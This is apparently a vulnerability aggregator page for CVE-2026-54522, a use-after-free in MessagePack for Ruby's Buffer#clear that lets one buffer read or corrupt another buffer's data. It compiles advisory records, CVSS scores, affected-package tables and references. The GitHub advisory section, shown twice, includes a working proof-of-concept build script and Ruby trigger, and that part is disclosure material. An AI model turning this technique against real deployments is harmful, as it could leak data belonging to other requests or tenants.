CVE-2026-54522
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
2.1
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
CVE-2026-54522- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
EUVDEUVD-2026-51235
2.1
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
EUVD-2026-51235- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4mrv-5p47-p938
2.1
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
Summary
MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details
msgpack_buffer_clear()→_msgpack_buffer_shift_chunk()(ext/msgpack/buffer.c:151,:128) destroys chunks (_msgpack_buffer_chunk_destroy,:58, returns the page viamsgpack_rmem_free) but resets onlytail_buffer_end/read_buffer, leavingrmem_last/rmem_end/rmem_ownerpointing into the freed page.- Next
Buffer#write→_msgpack_buffer_chunk_malloc()reuse branch (:363) returnsb->rmem_last, a pointer into the already-freed page. - A second buffer's first write calls
msgpack_rmem_alloc()and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (
ext/msgpack/rmem.h) recycles pages with a slab bitmask, notfree(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC
Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY
# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
cd msgpack-1.8.1/ext/msgpack && \
MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .
# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output:
b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true
Impact
Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
- Record
GHSA-4mrv-5p47-p938- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
NVD
2.1
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
CVE-2026-54522- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-416
- Updated
- 2026-11-02
OSV
2.1
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
CVE-2026-54522- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-54522
5.4
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
DEBIAN-CVE-2026-54522- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
Show 7 moreShow less
OSVGHSA-4mrv-5p47-p938
2.1
MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure
Summary
MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details
msgpack_buffer_clear()→_msgpack_buffer_shift_chunk()(ext/msgpack/buffer.c:151,:128) destroys chunks (_msgpack_buffer_chunk_destroy,:58, returns the page viamsgpack_rmem_free) but resets onlytail_buffer_end/read_buffer, leavingrmem_last/rmem_end/rmem_ownerpointing into the freed page.- Next
Buffer#write→_msgpack_buffer_chunk_malloc()reuse branch (:363) returnsb->rmem_last, a pointer into the already-freed page. - A second buffer's first write calls
msgpack_rmem_alloc()and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (
ext/msgpack/rmem.h) recycles pages with a slab bitmask, notfree(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC
Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY
# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
cd msgpack-1.8.1/ext/msgpack && \
MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .
# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output:
b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true
Impact
Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
- Record
GHSA-4mrv-5p47-p938- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVOESA-2026-3219
7.3
rubygem-msgpack security update
MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.
Security Fix(es):
Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)
- Record
OESA-2026-3219- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
OSVOESA-2026-3220
7.3
rubygem-msgpack security update
MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.
Security Fix(es):
Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)
- Record
OESA-2026-3220- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
OSVOESA-2026-3221
7.3
rubygem-msgpack security update
MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.
Security Fix(es):
Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)
- Record
OESA-2026-3221- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-54522
2.1
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
UBUNTU-CVE-2026-54522- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
OSVAZL-109539 No score
CVE-2026-54522 affecting package python-msgpack 1.0.5-3
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
AZL-109539- Updated
- 2026-11-02
OSVAZL-94449 No score
CVE-2026-54522 affecting package rubygem-msgpack for versions less than 1.8.4-1
MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.
- Record
AZL-94449- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
msgpackRubyGems |
through 1.8.1 | 1.8.2 |
python-msgpackAzure Linux:3 |
through 1.0.5-3 | None known |
rubygem-msgpackAzure Linux:3 |
before 1.8.4-1 | 1.8.4-1 |
ruby-msgpackDebian:12 |
All versions, plus listed versions 1.4.2-21.7.2-11.7.2-1.11.8.0-11.8.3-11.8.4-11.8.5-1 |
None known |
ruby-msgpackDebian:13 |
All versions, plus listed versions 1.7.2-1.11.8.0-11.8.3-11.8.4-11.8.5-1 |
None known |
ruby-msgpackDebian:14 |
before 1.8.3-1, plus listed versions 1.7.2-1.11.8.0-1 |
1.8.3-1 |
msgpackRubyGems |
before 1.8.2, plus listed versions 0.0.10.2.00.2.10.2.20.3.0 Show 45 moreShow less0.3.10.3.20.3.30.3.40.3.50.3.60.3.70.3.80.3.90.4.00.4.10.4.20.4.30.4.40.4.50.4.60.4.70.5.00.5.10.5.100.5.110.5.120.5.20.5.30.5.40.5.50.5.60.5.70.5.80.5.90.6.00.6.0pre10.6.10.6.20.7.00.7.0dev10.7.10.7.20.7.2dev10.7.30.7.40.7.50.7.61.0.01.0.1 |
1.8.2 |
rubygem-msgpackopenEuler:24.03-LTS-SP4 |
before 1.8.3-1.oe2403sp4 | 1.8.3-1.oe2403sp4 |
rubygem-msgpackopenEuler:24.03-LTS-SP1 |
before 1.8.3-1.oe2403sp1 | 1.8.3-1.oe2403sp1 |
rubygem-msgpackopenEuler:24.03-LTS-SP3 |
before 1.8.3-1.oe2403sp3 | 1.8.3-1.oe2403sp3 |
Show 6 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ruby-msgpackUbuntu:16.04:LTS |
All versions, plus listed versions 0.6.2-1build10.6.2-1build20.6.2-1build30.6.2-1build4 |
None known |
ruby-msgpackUbuntu:18.04:LTS |
All versions, plus listed versions 1.0.0-11.1.0-11.1.0-1build11.1.0-1build2 |
None known |
ruby-msgpackUbuntu:20.04:LTS |
All versions, plus listed versions 1.1.0-1build21.1.0-1build3 |
None known |
ruby-msgpackUbuntu:22.04:LTS |
All versions, plus listed versions 1.1.0-2build11.1.0-2build21.4.2-2 |
None known |
ruby-msgpackUbuntu:24.04:LTS |
All versions, plus listed versions 1.4.2-2build21.4.2-2build31.4.2-2build4 |
None known |
ruby-msgpackUbuntu:26.04:LTS |
All versions, plus listed versions 1.7.2-1.11.8.0-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54522 is a low vulnerability (CVSS 2.1) in Msgpack Messagepack, published July 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in msgpack 1.8.2.
References
github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938
github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90
github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml
cve.org/CVERecord/SearchResults?query=CVE-2026-54522
github.com/advisories/GHSA-4mrv-5p47-p938
nvd.nist.gov/vuln/detail/CVE-2026-54522
Show 8 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54522.json
security-tracker.debian.org/tracker/CVE-2026-54522
github.com/msgpack/msgpack-ruby
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3219
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3220
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3221
ubuntu.com/security/CVE-2026-54522
cve.org/CVERecord?id=CVE-2026-54522
Left out here: 43 versions. The JSON record has them.